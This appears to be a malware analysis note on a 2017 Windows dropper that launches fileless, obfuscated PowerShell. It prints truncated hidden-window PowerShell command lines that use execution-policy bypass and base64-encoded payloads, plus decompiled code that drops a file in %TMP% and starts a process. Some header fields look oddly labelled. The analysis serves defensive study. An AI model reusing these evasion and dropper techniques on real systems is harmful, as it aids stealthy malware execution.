

# Powershell

## Info

First stage binary is a 64B payload compiled on 10/09/2017

```
MG-Structure : MZ(Mark Zbikowski)
HeaderOffsetVal : 00000004
StackSeg : 00000000
Stack* : 00000008
CkS : 00000000
Instr* : 00000000
HeaderAdd : 00000000
*****
## FILE_TYPE => PE
+
+ AMD
+ EXE, CT_2CB
+ Mon Oct 09 11:44:59 2017
+ 18
+ 0 <- Base*
+ GUI
+ <64B>
+ 8704 <- CS
+ 0x1000 <- CoseBase*
*****
* .text:
* .text: <X>, I, <R>,
* .data:
* .data: I, <R>, <W>,
* .rdata:
* .rdata: I, <R>,
* .bss:
* .bss: U, U, <R>, <W>.
```

1st stage binary spawns powershell payload. Payload is buffered form one powershell to another powershell. This is to make sure that the payload remains fileLess and obfuscation is removed in the memory. Eventually a **.tmp** file is utilized by csc.exe

```
1 powershell -w HIdden -Com "(-joIn(('2e2828273920302031203220372033203520362033203420382030272d5265704c616365275c772b272c277b247b307d7d272
2 ((('9 0 1 2 7 3 5 6 3 4 8 0' -RepLace '\w+', '{${0}}' -rEPLace ' ','') -f'e','t','-', 'a','b','r','i','v','l','s') LJ
3 powershell.exe" -nOnINtER -NoLo -NoProfILE -WInD0 HIdden -EXeCutiONPoL bYPaSs -ec JgAoACgAJwA1ACAAMAAGADQAIAA5ACAAMwAgADEAIAA3ACAAMgAgAD
4 powershell.exe" -nonI -noLo -NOPROFI -wIn HIdden -EXeCUTI bYpAsS -ec KAAtAGoAbwBpAE4AKAAoACcAMgA0ADYANAA0ADIANQBhAdCAnwA0ADEANQAxADUANgA
5 cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\foo\AppData\Local\Temp\RES97EE.tmp" "c:\Users\foo\AppData\Local\Temp\CSC97ED.tr
```



## 1st stage binary:

```
memset(rbp + 0xe0f0, 0x0, 0x68);  
FUNCTION_1(rbp + 0xdfd0, 0xff, "%s\rIGnqU4iDgy3", *(rbp + 0xe160), array[2047], array[2048], array[2049], array[2050]);  
fwrite(rbp + 0x9680, 0x1, 0x4950, *(rbp + 0xe158));  
fclose(*(rbp + 0xe158));  
CreateProcessA(0x0, rbp + 0x2680, 0x0, 0x0, array[2047], array[2048], array[2049], array[2050], 0x0, 0x8000000);
```

File `%s\rIGnqU4iDgy3` is created:

`%s` represents the path, where to drop this file

`rIGnqU4iDgy3` is the name of the file.

Eventually this file is dropped in the `%TMP%` location. Powershell will call `csc.exe` to use `cvtres.exe`. This is used to convert a resource file to an object file on the fly.